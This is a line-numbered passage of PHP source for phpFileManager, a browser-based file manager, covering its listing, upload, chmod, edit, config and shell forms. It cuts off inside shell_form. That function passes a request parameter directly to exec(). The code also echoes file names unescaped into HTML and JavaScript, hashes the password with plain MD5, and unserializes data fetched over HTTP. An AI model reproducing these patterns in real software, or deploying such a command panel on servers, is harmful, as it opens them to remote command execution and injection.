  1410.                                 <td align=left bgcolor=\"#".$fm_color['Dir']."\"><nobr><a href=\"JavaScript:go('$file')\">$file</a></nobr>
  1411.                                 <td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["p"];
  1412.                      if ($islinux) $dir_out .= "<td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["u"]."<td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["g"];
  1413.                      $dir_out .= "
  1414.                                 <td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["sizet"]."
  1415.                                 <td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["datet"];
  1416.                      if ($file_count) $dir_out .= "
  1417.                                 <td bgcolor=\"#".$fm_color['Dir']."\" align=center>";
  1418.                      // Opções de diretório
  1419.                      if ( is_writable($dir_atual.$file) ) $dir_out .= "
  1420.                                 <td bgcolor=\"#FFFFFF\" align=center><a href=\"JavaScript:if(confirm('".et('ConfRem')." \\'".$file."\\' ?')) document.location.href='".$path_info["basename"]."?frame=3&action=8&cmd_arg=".$file."&dir_atual=$dir_atual'\">".et('Rem')."</a>
  1421.                                 <td bgcolor=\"#FFFFFF\" align=center><a href=\"JavaScript:rename('$file')\">".et('Ren')."</a>";
  1422.                      $dir_out .= "
  1423.                                 </tr>";
  1424.                  } else {
  1425.                      $file_out .= "
  1426.                                 <tr ID=\"entry$ind\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
  1427.                                 <td align=left bgcolor=\"#FFFFFF\"><nobr><a href=\"JavaScript:download('$file')\">$file</a></nobr>
  1428.                                 <td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["p"];
  1429.                      if ($islinux) $file_out .= "<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["u"]."<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["g"];
  1430.                      $file_out .= "
  1431.                                 <td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["sizet"]."
  1432.                                 <td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["datet"]."
  1433.                                 <td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["extt"];
  1434.                      // Opções de arquivo
  1435.                      if ( is_writable($dir_atual.$file) ) $file_out .= "
  1436.                                 <td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:if(confirm('".strtoupper(et('Rem'))." \\'".$file."\\' ?')) document.location.href='".$path_info["basename"]."?frame=3&action=8&cmd_arg=".$file."&dir_atual=$dir_atual'\">".et('Rem')."</a>
  1437.                                 <td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:rename('$file')\">".et('Ren')."</a>";
  1438.                      if ( is_readable($dir_atual.$file) && (strpos(".wav#.mp3#.mid#.avi#.mov#.mpeg#.mpg#.rm#.iso#.bin#.img#.dll#.psd#.fla#.swf#.class#.ppt#.jpg#.gif#.png#.wmf#.eps#.bmp#.msi#.exe#.com#.rar#.tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) === false)) $file_out .= "
  1439.                                 <td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:edit_file('$file')\">".et('Edit')."</a>";
  1440.                      if ( is_readable($dir_atual.$file) && strlen($dir_entry["ext"]) && (strpos(".tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) !== false)) $file_out .= "
  1441.                                 <td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:decompress('$file')\">".et('Decompress')."</a>";
  1442.                      if( $is_reachable && is_readable($dir_atual.$file) && (strpos(".txt#.sys#.bat#.ini#.conf#.swf#.php#.php3#.asp#.html#.htm#.jpg#.gif#.png#.bmp#", $dir_entry["ext"]."#" ) !== false)) $file_out .= "
  1443.                                 <td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:view('$file');\">".et('View')."</a>";
  1444.                      $file_out .= "</tr>";
  1445.                  }
  1446.             }
  1447.             $out .= $dir_out;
  1448.             if ($entry_count){
  1449.                 $out .= "
  1450.                <tr>
  1451.                      <td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or1&dir_atual=$dir_atual\">".et('Name')."</a>
  1452.                      <td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or2&dir_atual=$dir_atual\">".et('Perms')."</a>";
  1453.                 if ($islinux) $out .= "<td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or3&dir_atual=$dir_atual\">".et('Owner')."</a><td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or4&dir_atual=$dir_atual\">".et('Group')."</a>";
  1454.                 $out .= "
  1455.                      <td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or5&dir_atual=$dir_atual\">".et('Size')."</a>
  1456.                      <td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or6&dir_atual=$dir_atual\">".et('Date')."</a>";
  1457.                 if ($file_count) $out .= "
  1458.                      <td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or7&dir_atual=$dir_atual\">".et('Type')."</a>";
  1459.                 $out .= "
  1460.                      <td bgcolor=\"#000000\" colspan=20>";
  1461.  
  1462.             }
  1463.             $out .= $file_out;
  1464.             $out .= "
  1465.                <tr>
  1466.                <td bgcolor=\"#000000\" colspan=20><nobr>
  1467.                      <input type=\"button\" style=\"width:60\" onclick=\"selectANI(this)\" value=\"".et('SelAll')."\">
  1468.                      <input type=\"button\" style=\"width:60\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">
  1469.                      <input type=\"button\" style=\"width:60\" onclick=\"test(4)\" value=\"".et('Rem')."\">
  1470.                      <input type=\"button\" style=\"width:60\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">
  1471.                      <input type=\"button\" style=\"width:60\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">
  1472.                      <input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"".et('Compress')."\">";
  1473.             if ($islinux) $out .= "
  1474.                      <input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"".et('ResolveIDs')."\">";
  1475.             $out .= "
  1476.                      <input type=\"button\" style=\"width:100\" onclick=\"chmod(9)\" value=\"".et('Perms')."\">";
  1477.             $out .= "
  1478.                </nobr></td>
  1479.                </tr>";
  1480.             $out .= "
  1481.            </form>";
  1482.             $out .= "
  1483.                <tr><td bgcolor=\"#000000\" colspan=20>$dir_count ".et('Dir_s')." ".et('And')." $file_count ".et('File_s')." = ".formatsize($total_size)."</td></tr>";
  1484.             if ($quota_mb) {
  1485.                 $out .= "
  1486.                <tr><td bgcolor=\"#000000\" colspan=20>".et('Partition').": ".formatsize(($quota_mb*1024*1024))." ".et('Total')." - ".formatsize(($quota_mb*1024*1024)-total_size($fm_root_atual))." ".et('Free')."</td></tr>";
  1487.             } else {
  1488.                 $out .= "
  1489.                <tr><td bgcolor=\"#000000\" colspan=20>".et('Partition').": ".formatsize(disk_total_space($dir_atual))." ".et('Total')." - ".formatsize(disk_free_space($fm_root_atual))." ".et('Free')."</td></tr>";
  1490.             }
  1491.             $tf = getmicrotime();
  1492.             $tt = ($tf - $ti);
  1493.             $out .= "
  1494.                <tr><td bgcolor=\"#000000\" colspan=20>".et('RenderTime').": ".substr($tt,0,strrpos($tt,".")+5)." ".et('Seconds')."</td></tr>";
  1495.             $out .= "
  1496.            <script language=\"Javascript\" type=\"text/javascript\">
  1497.            <!--
  1498.                update_sel_status();
  1499.            //-->
  1500.            </script>";
  1501.         } else {
  1502.             $out .= "
  1503.            <tr>
  1504.            <td bgcolor=\"#000000\" width=\"1%\">$uplink<td bgcolor=\"#000000\" colspan=20><nobr><a href=\"".$path_info["basename"]."?frame=3&dir_atual=$dir_atual\">$dir_atual</a></nobr>
  1505.            <tr><td bgcolor=\"#000000\" colspan=20>".et('EmptyDir').".</tr>";
  1506.         }
  1507.     } else $out .= "<tr><td><font color=red>".et('IOError').".<br>$dir_atual</font>";
  1508.     $out .= "</table>";
  1509.     echo $out;
  1510. }
  1511. function upload_form(){
  1512.     global $_FILES,$dir_atual,$dir_dest,$fechar,$quota_mb,$path_info;
  1513.     $num_uploads = 5;
  1514.     html_header();
  1515.     echo "<body marginwidth=\"0\" marginheight=\"0\">";
  1516.     if (count($_FILES)==0){
  1517.         echo "
  1518.        <table bordercolor=ffffff  height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>
  1519.        <form name=\"upload_form\" action=\"".$path_info["basename"]."\" method=\"post\" ENCTYPE=\"multipart/form-data\">
  1520.        <input type=hidden name=dir_dest value=\"$dir_atual\">
  1521.        <input type=hidden name=action value=10>
  1522.        <tr><th colspan=2>".et('Upload')."</th></tr>
  1523.        <tr><td align=right><b>".et('Destination').":<td><b><nobr>$dir_atual</nobr>";
  1524.         for ($x=0;$x<$num_uploads;$x++){
  1525.             echo "<tr><td width=1 align=right><b>".et('File').":<td><nobr><input type=\"file\" name=\"file$x\"></nobr>";
  1526.             $test_js .= "(document.upload_form.file$x.value.length>0)||";
  1527.         }
  1528.         echo "
  1529.        <input type=button value=\"".et('Send')."\" onclick=\"test_upload_form()\"></nobr>
  1530.        <tr><td> <td><input type=checkbox name=fechar value=\"1\"> <a href=\"JavaScript:troca();\">".et('AutoClose')."</a>
  1531.        <tr><td colspan=2> </td></tr>
  1532.        </form>
  1533.        </table>
  1534.        <script language=\"Javascript\" type=\"text/javascript\">
  1535.        <!--
  1536.            function troca(){
  1537.                if(document.upload_form.fechar.checked){document.upload_form.fechar.checked=false;}else{document.upload_form.fechar.checked=true;}
  1538.            }
  1539.            foi = false;
  1540.            function test_upload_form(){
  1541.                if(".substr($test_js,0,strlen($test_js)-2)."){
  1542.                    if (foi) alert('".et('SendingForm')."...');
  1543.                    else {
  1544.                        foi = true;
  1545.                        document.upload_form.submit();
  1546.                    }
  1547.                } else alert('".et('NoFileSel').".');
  1548.            }
  1549.            window.moveTo((window.screen.width-400)/2,((window.screen.height-200)/2)-20);
  1550.        //-->
  1551.        </script>";
  1552.     } else {
  1553.         $out = "<tr><th colspan=2>".et('UploadEnd')."</th></tr>
  1554.                <tr><th colspan=2><nobr>".et('Destination').": $dir_dest</nobr>";
  1555.         for ($x=0;$x<$num_uploads;$x++){
  1556.             $temp_file = $_FILES["file".$x]["tmp_name"];
  1557.             $filename = $_FILES["file".$x]["name"];
  1558.             if (strlen($filename)) $resul = save_upload($temp_file,$filename,$dir_dest);
  1559.             else $resul = 7;
  1560.             switch($resul){
  1561.                 case 1:
  1562.                 $out .= "<tr><td><b>".strzero($x+1,3).".<font color=green><b> ".et('FileSent').":</font><td>".$filename."</td></tr>\n";
  1563.                 break;
  1564.                 case 2:
  1565.                 $out .= "<tr><td colspan=2><font color=red><b>".et('IOError')."</font></td></tr>\n";
  1566.                 $x = $upload_num;
  1567.                 break;
  1568.                 case 3:
  1569.                 $out .= "<tr><td colspan=2><font color=red><b>".et('SpaceLimReached')." ($quota_mb Mb)</font></td></tr>\n";
  1570.                 $x = $upload_num;
  1571.                 break;
  1572.                 case 4:
  1573.                 $out .= "<tr><td><b>".strzero($x+1,3).".<font color=red><b> ".et('InvExt').":</font><td>".$filename."</td></tr>\n";
  1574.                 break;
  1575.                 case 5:
  1576.                 $out .= "<tr><td><b>".strzero($x+1,3).".<font color=red><b> ".et('FileNoOverw')."</font><td>".$filename."</td></tr>\n";
  1577.                 break;
  1578.                 case 6:
  1579.                 $out .= "<tr><td><b>".strzero($x+1,3).".<font color=green><b> ".et('FileOverw').":</font><td>".$filename."</td></tr>\n";
  1580.                 break;
  1581.                 case 7:
  1582.                 $out .= "<tr><td colspan=2><b>".strzero($x+1,3).".<font color=red><b> ".et('FileIgnored')."</font></td></tr>\n";
  1583.             }
  1584.         }
  1585.         if ($fechar) {
  1586.             echo "
  1587.            <script language=\"Javascript\" type=\"text/javascript\">
  1588.            <!--
  1589.                window.close();
  1590.            //-->
  1591.            </script>
  1592.            ";
  1593.         } else {
  1594.             echo "
  1595.            <table bordercolor=ffffff  height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>
  1596.            $out
  1597.            <tr><td colspan=2> </td></tr>
  1598.            </table>
  1599.            <script language=\"Javascript\" type=\"text/javascript\">
  1600.            <!--
  1601.                window.focus();
  1602.            //-->
  1603.            </script>
  1604.            ";
  1605.         }
  1606.     }
  1607.     echo "</body>\n</html>";
  1608. }
  1609. function chmod_form(){
  1610.     $aux = "
  1611.    <script language=\"Javascript\" type=\"text/javascript\">
  1612.    <!--
  1613.    function octalchange()
  1614.    {
  1615.        var val = document.chmod_form.t_total.value;
  1616.        var stickybin = parseInt(val.charAt(0)).toString(2);
  1617.        var ownerbin = parseInt(val.charAt(1)).toString(2);
  1618.        while (ownerbin.length<3) { ownerbin=\"0\"+ownerbin; };
  1619.        var groupbin = parseInt(val.charAt(2)).toString(2);
  1620.        while (groupbin.length<3) { groupbin=\"0\"+groupbin; };
  1621.        var otherbin = parseInt(val.charAt(3)).toString(2);
  1622.        while (otherbin.length<3) { otherbin=\"0\"+otherbin; };
  1623.        document.chmod_form.sticky.checked = parseInt(stickybin.charAt(0));
  1624.        document.chmod_form.owner4.checked = parseInt(ownerbin.charAt(0));
  1625.        document.chmod_form.owner2.checked = parseInt(ownerbin.charAt(1));
  1626.        document.chmod_form.owner1.checked = parseInt(ownerbin.charAt(2));
  1627.        document.chmod_form.group4.checked = parseInt(groupbin.charAt(0));
  1628.        document.chmod_form.group2.checked = parseInt(groupbin.charAt(1));
  1629.        document.chmod_form.group1.checked = parseInt(groupbin.charAt(2));
  1630.        document.chmod_form.other4.checked = parseInt(otherbin.charAt(0));
  1631.        document.chmod_form.other2.checked = parseInt(otherbin.charAt(1));
  1632.        document.chmod_form.other1.checked = parseInt(otherbin.charAt(2));
  1633.        calc_chmod(1);
  1634.    };
  1635.  
  1636.    function calc_chmod(nototals)
  1637.    {
  1638.      var users = new Array(\"owner\", \"group\", \"other\");
  1639.      var totals = new Array(\"\",\"\",\"\");
  1640.      var syms = new Array(\"\",\"\",\"\");
  1641.  
  1642.        for (var i=0; i<users.length; i++)
  1643.        {
  1644.            var user=users[i];
  1645.            var field4 = user + \"4\";
  1646.            var field2 = user + \"2\";
  1647.            var field1 = user + \"1\";
  1648.            var symbolic = \"sym_\" + user;
  1649.            var number = 0;
  1650.            var sym_string = \"\";
  1651.            var sticky = \"0\";
  1652.            var sticky_sym = \" \";
  1653.            if (document.chmod_form.sticky.checked){
  1654.                sticky = \"1\";
  1655.                sticky_sym = \"t\";
  1656.            }
  1657.            if (document.chmod_form[field4].checked == true) { number += 4; }
  1658.            if (document.chmod_form[field2].checked == true) { number += 2; }
  1659.            if (document.chmod_form[field1].checked == true) { number += 1; }
  1660.  
  1661.            if (document.chmod_form[field4].checked == true) {
  1662.                sym_string += \"r\";
  1663.            } else {
  1664.                sym_string += \"-\";
  1665.            }
  1666.            if (document.chmod_form[field2].checked == true) {
  1667.                sym_string += \"w\";
  1668.            } else {
  1669.                sym_string += \"-\";
  1670.            }
  1671.            if (document.chmod_form[field1].checked == true) {
  1672.                sym_string += \"x\";
  1673.            } else {
  1674.                sym_string += \"-\";
  1675.            }
  1676.  
  1677.            totals[i] = totals[i]+number;
  1678.            syms[i] =  syms[i]+sym_string;
  1679.  
  1680.      };
  1681.        if (!nototals) document.chmod_form.t_total.value = sticky + totals[0] + totals[1] + totals[2];
  1682.        document.chmod_form.sym_total.value = syms[0] + syms[1] + syms[2] + sticky_sym;
  1683.    }
  1684.    function troca(){
  1685.        if(document.chmod_form.sticky.checked){document.chmod_form.sticky.checked=false;}else{document.chmod_form.sticky.checked=true;}
  1686.    }
  1687.  
  1688.    window.onload=octalchange
  1689.    window.moveTo((window.screen.width-400)/2,((window.screen.height-200)/2)-20);
  1690.    //-->
  1691.    </script>
  1692.    ";
  1693.     html_header($aux);
  1694.     echo "<body marginwidth=\"0\" marginheight=\"0\">
  1695.    <form name=\"chmod_form\">
  1696.    <table bordercolor=ffffff  BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>
  1697.    <tr><th colspan=4>".et('Perms')."</th></tr>
  1698.    <TR ALIGN=\"LEFT\" VALIGN=\"MIDDLE\">
  1699.    <TD><input type=\"text\" name=\"t_total\" value=\"0777\" size=\"4\" onKeyUp=\"octalchange()\"> </TD>
  1700.    <TD><input type=\"text\" name=\"sym_total\" value=\"\" size=\"12\" READONLY=\"1\"></TD>
  1701.    </TR>
  1702.    </TABLE>
  1703.    <table bordercolor=ffffff  cellpadding=\"2\" cellspacing=\"0\" border=\"0\" ALIGN=CENTER>
  1704.    <tr bgcolor=\"#333333\">
  1705.    <td WIDTH=\"60\" align=\"left\"> </td>
  1706.    <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Owner')."
  1707.    </b></td>
  1708.    <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Group')."
  1709.    </b></td>
  1710.    <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Other')."
  1711.    <b></td>
  1712.    </tr>
  1713.    <tr bgcolor=\"#000000\">
  1714.    <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Read')."</td>
  1715.    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">
  1716.    <input type=\"checkbox\" name=\"owner4\" value=\"4\" onclick=\"calc_chmod()\">
  1717.    </td>
  1718.    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group4\" value=\"4\" onclick=\"calc_chmod()\">
  1719.    </td>
  1720.    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">
  1721.    <input type=\"checkbox\" name=\"other4\" value=\"4\" onclick=\"calc_chmod()\">
  1722.    </td>
  1723.    </tr>
  1724.    <tr bgcolor=\"#000000\">
  1725.    <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Write')."</td>
  1726.    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">
  1727.    <input type=\"checkbox\" name=\"owner2\" value=\"2\" onclick=\"calc_chmod()\"></td>
  1728.    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group2\" value=\"2\" onclick=\"calc_chmod()\">
  1729.    </td>
  1730.    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">
  1731.    <input type=\"checkbox\" name=\"other2\" value=\"2\" onclick=\"calc_chmod()\">
  1732.    </td>
  1733.    </tr>
  1734.    <tr bgcolor=\"#000000\">
  1735.    <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Exec')."</td>
  1736.    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">
  1737.    <input type=\"checkbox\" name=\"owner1\" value=\"1\" onclick=\"calc_chmod()\">
  1738.    </td>
  1739.    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group1\" value=\"1\" onclick=\"calc_chmod()\">
  1740.    </td>
  1741.    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">
  1742.    <input type=\"checkbox\" name=\"other1\" value=\"1\" onclick=\"calc_chmod()\">
  1743.    </td>
  1744.    </tr>
  1745.    </TABLE>
  1746.    <table bordercolor=ffffff  BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>
  1747.    <tr><td colspan=2><input type=checkbox name=sticky value=\"1\" onclick=\"calc_chmod()\"> <a href=\"JavaScript:troca();\">".et('StickyBit')."</a><td colspan=2 align=right><input type=button value=\"".et('Apply')."\" onClick=\"window.opener.set_chmod_arg(document.chmod_form.t_total.value); window.close();\"></tr>
  1748.    </table>
  1749.    </form>
  1750.    </body>\n</html>";
  1751. }
  1752. function view(){
  1753.     global $doc_root,$path_info,$url_info,$dir_atual,$islinux,$filename,$is_reachable;
  1754.     html_header();
  1755.     echo "<body marginwidth=\"0\" marginheight=\"0\">
  1756.    <script language=\"Javascript\" type=\"text/javascript\">
  1757.    <!--
  1758.        window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);";
  1759.     if ($is_reachable){
  1760.         $url = $url_info["scheme"]."://".$url_info["host"];
  1761.         if (strlen($url_info["port"])) $url .= ":".$url_info["port"];
  1762.         // Malditas variaveis de sistema!! No windows doc_root é sempre em lowercase... cadê o str_ireplace() ??
  1763.         $url .= str_replace($doc_root,"",$dir_atual).$filename;
  1764.         echo "
  1765.        document.location.href='$url';";
  1766.     } else {
  1767.         echo "
  1768.        alert('".et('OutDocRoot').":\\n".$doc_root."\\n');
  1769.        window.close();";
  1770.     }
  1771.     echo "
  1772.    //-->
  1773.    </script>
  1774.    </body>\n</html>";
  1775. }
  1776. function edit_file_form(){
  1777.     global $dir_atual,$filename,$file_data,$save_file,$path_info;
  1778.     $file = $dir_atual.$filename;
  1779.     if ($save_file){
  1780.         $fh=fopen($file,"w");
  1781.         fputs($fh,$file_data,strlen($file_data));
  1782.         fclose($fh);
  1783.     }
  1784.     $fh=fopen($file,"r");
  1785.     $file_data=fread($fh, filesize($file));
  1786.     fclose($fh);
  1787.     html_header();
  1788.     echo "<body marginwidth=\"0\" marginheight=\"0\">
  1789.    <table bordercolor=ffffff  border=0 cellspacing=0 cellpadding=5 align=center>
  1790.    <form name=\"edit_form\" action=\"".$path_info["basename"]."\" method=\"post\">
  1791.    <input type=hidden name=action value=\"7\">
  1792.    <input type=hidden name=save_file value=\"1\">
  1793.    <input type=hidden name=dir_atual value=\"$dir_atual\">
  1794.    <input type=hidden name=filename value=\"$filename\">
  1795.    <tr><th colspan=2>".$file."</th></tr>
  1796.    <tr><td colspan=2><textarea name=file_data rows=33 cols=105>".htmlencode($file_data)."</textarea></td></tr>
  1797.    <tr><td><input type=button value=\"".et('Refresh')."\" onclick=\"document.edit_form_refresh.submit()\"></td><td align=right><input type=button value=\"".et('SaveFile')."\" onclick=\"go_save()\"></td></tr>
  1798.    </form>
  1799.    <form name=\"edit_form_refresh\" action=\"".$path_info["basename"]."\" method=\"post\">
  1800.    <input type=hidden name=action value=\"7\">
  1801.    <input type=hidden name=dir_atual value=\"$dir_atual\">
  1802.    <input type=hidden name=filename value=\"$filename\">
  1803.    </form>
  1804.    </table>
  1805.    <script language=\"Javascript\" type=\"text/javascript\">
  1806.    <!--
  1807.        window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
  1808.        function go_save(){";
  1809.     if (is_writable($file)) {
  1810.         echo "
  1811.        document.edit_form.submit();";
  1812.     } else {
  1813.         echo "
  1814.        if(confirm('".et('ConfTrySave')." ?')) document.edit_form.submit();";
  1815.     }
  1816.     echo "
  1817.        }
  1818.    //-->
  1819.    </script>
  1820.    </body>\n</html>";
  1821. }
  1822. function config_form(){
  1823.     global $cfg;
  1824.     global $dir_atual,$script_filename,$doc_root,$path_info,$fm_root_atual,$lang,$error_reporting,$version;
  1825.     global $config_action,$newsenha,$newlang,$newerror,$newfm_root;
  1826.     $Warning = "";
  1827.     switch ($config_action){
  1828.         case 1:
  1829.             if ($fh = fopen("http://phpfm.sf.net/latest.php","r")){
  1830.                 $data = "";
  1831.                 while (!feof($fh)) $data .= fread($fh,1024);
  1832.                 fclose($fh);
  1833.                 $data = unserialize($data);
  1834.                 $ChkVerWarning = "<tr><td align=right> ";
  1835.                 if (is_array($data)&&count($data)){
  1836.                     // sf.net logo
  1837.                     $ChkVerWarning .= "<a href=\"JavaScript:open_win('http://sourceforge.net')\"><img src=\"http://sourceforge.net/sflogo.php?group_id=114392&type=1\" width=\"88\" height=\"31\" border=\"0\" alt=\"SourceForge.net Logo\" /></a>";
  1838.                     if (str_replace(".","",$data['version'])>str_replace(".","",$cfg->data['version'])) $ChkVerWarning .= "<td><a href=\"JavaScript:open_win('http://prdownloads.sourceforge.net/phpfm/phpFileManager-".$data['version'].".zip?download')\"><font color=green>".et('ChkVerAvailable')."</font></a>";
  1839.                     else $ChkVerWarning .= "<td><font color=red>".et('ChkVerNotAvailable')."</font>";
  1840.                 } else $ChkVerWarning .= "<td><font color=red>".et('ChkVerError')."</font>";
  1841.             } else $ChkVerWarning .= "<td><font color=red>".et('ChkVerError')."</font>";
  1842.         break;
  1843.         case 2:
  1844.             $reload = false;
  1845.             if ($cfg->data['lang'] != $newlang){
  1846.                 $cfg->data['lang'] = $newlang;
  1847.                 $lang = $newlang;
  1848.                 $reload = true;
  1849.             }
  1850.             if ($cfg->data['error_reporting'] != $newerror){
  1851.                 $cfg->data['error_reporting'] = $newerror;
  1852.                 $error_reporting = $newerror;
  1853.                 $reload = true;
  1854.             }
  1855.             $newfm_root = formatpath($newfm_root);
  1856.             if ($cfg->data['fm_root'] != $newfm_root){
  1857.                 $cfg->data['fm_root'] = $newfm_root;
  1858.                 if (strlen($newfm_root)) $dir_atual = $newfm_root;
  1859.                 else $dir_atual = $path_info["dirname"]."/";
  1860.                 setcookie("fm_root_atual", $newfm_root , 0 , "/");
  1861.                 $reload = true;
  1862.             }
  1863.             $cfg->save();
  1864.             if ($reload){
  1865.                 reloadframe("window.opener.parent",2);
  1866.                 reloadframe("window.opener.parent",3);
  1867.             }
  1868.             $Warning1 = et('ConfSaved')."...";
  1869.         break;
  1870.         case 3:
  1871.             if ($cfg->data['auth_pass'] != md5($newsenha)){
  1872.                 $cfg->data['auth_pass'] = md5($newsenha);
  1873.                 setcookie("loggedon", md5($newsenha) , 0 , "/");
  1874.             }
  1875.             $cfg->save();
  1876.             $Warning2 = et('PassSaved')."...";
  1877.         break;
  1878.     }
  1879.     html_header();
  1880.     echo "<body marginwidth=\"0\" marginheight=\"0\">\n";
  1881.     echo "
  1882.    <table bordercolor=ffffff  border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">
  1883.    <form name=\"config_form\" action=\"".$path_info["basename"]."\" method=\"post\">
  1884.    <input type=hidden name=action value=2>
  1885.    <input type=hidden name=config_action value=0>
  1886.    <tr><td colspan=2 align=center><b>".strtoupper(et('Configurations'))."</b></td></tr>
  1887.    </table>
  1888.    <table bordercolor=ffffff  border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">
  1889.    <tr><td align=right width=\"1%\">".et('Version').":<td>$version</td></tr>
  1890.    <tr><td align=right>".et('Size').":<td>".getsize($script_filename)."</td></tr>
  1891.    <tr><td align=right>".et('Website').":<td><a href=\"JavaScript:open_win('http://phpfm.sf.net')\">http://phpfm.sf.net</a></td></tr>";
  1892.     if (strlen($ChkVerWarning)) echo $ChkVerWarning.$data['warnings'];
  1893.     else echo "<tr><td align=right> <td><input type=button value=\"".et('ChkVer')."\" onclick=\"test_config_form(1)\">";
  1894.     echo "
  1895.    <tr><td align=right width=1><nobr>".et('DocRoot').":</nobr><td>".$doc_root."</td></tr>
  1896.    <tr><td align=right><nobr>".et('FLRoot').":</nobr><td><input type=text size=60 name=newfm_root value=\"".$cfg->data['fm_root']."\" onkeypress=\"enterSubmit(event,'test_config_form(2)')\"></td></tr>
  1897.    <tr><td align=right>".et('Lang').":<td><select name=newlang><option value=en>English<option value=pt>Português</select></td></tr>
  1898.    <tr><td align=right>".et('ErrorReport').":<td><select name=newerror><option value=\"\">NONE<option value=\"".E_ALL."\">E_ALL<option value=\"".E_ERROR."\">E_ERROR<option value=\"".(E_ERROR | E_WARNING)."\">E_ERROR & E_WARNING<option value=\"".(E_ERROR | E_WARNING | E_NOTICE)."\">E_ERROR & E_WARNING & E_NOTICE</select></td></tr>
  1899.    <tr><td> <td><input type=button value=\"".et('SaveConfig')."\" onclick=\"test_config_form(2)\">";
  1900.     if (strlen($Warning1)) echo " <font color=red>$Warning1</font>";
  1901.     echo "
  1902.    <tr><td align=right>".et('Pass').":<td><input type=text size=30 name=newsenha value=\"\" onkeypress=\"enterSubmit(event,'test_config_form(3)')\"></td></tr>
  1903.    <tr><td> <td><input type=button value=\"".et('SavePass')."\" onclick=\"test_config_form(3)\">";
  1904.     if (strlen($Warning2)) echo " <font color=red>$Warning2</font>";
  1905.     echo "</td></tr>";
  1906.     echo "
  1907.    </form>
  1908.    </table>
  1909.    <script language=\"Javascript\" type=\"text/javascript\">
  1910.    <!--
  1911.        function set_select(sel,val){
  1912.            for(var x=0;x<sel.length;x++){
  1913.                if(sel.options[x].value==val){
  1914.                    sel.options[x].selected=true;
  1915.                    break;
  1916.                }
  1917.            }
  1918.        }
  1919.        set_select(document.config_form.newlang,'".$cfg->data['lang']."');
  1920.        set_select(document.config_form.newerror,'".$cfg->data['error_reporting']."');
  1921.        function test_config_form(arg){
  1922.            document.config_form.config_action.value = arg;
  1923.            document.config_form.submit();
  1924.        }
  1925.        function open_win(url){
  1926.            var w = 800;
  1927.            var h = 600;
  1928.            window.open(url, '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=yes,toolbar=yes,menubar=yes,location=yes');
  1929.        }
  1930.        window.moveTo((window.screen.width-600)/2,((window.screen.height-400)/2)-20);
  1931.        window.focus();
  1932.    //-->
  1933.    </script>
  1934.    ";
  1935.     echo "</body>\n</html>";
  1936. }
  1937. function shell_form(){
  1938.     global $dir_atual,$shell_form,$cmd_arg,$path_info;
  1939.     $data_out = "";
  1940.     if (strlen($cmd_arg)){
  1941.         exec($cmd_arg,$mat);
  1942.         if (count($mat)) $data_out = trim(implode("\n",$mat));
  1943.     }
  1944.     switch ($shell_form){
  1945.         case 1:
  1946.             html_header();
  1947.             echo "
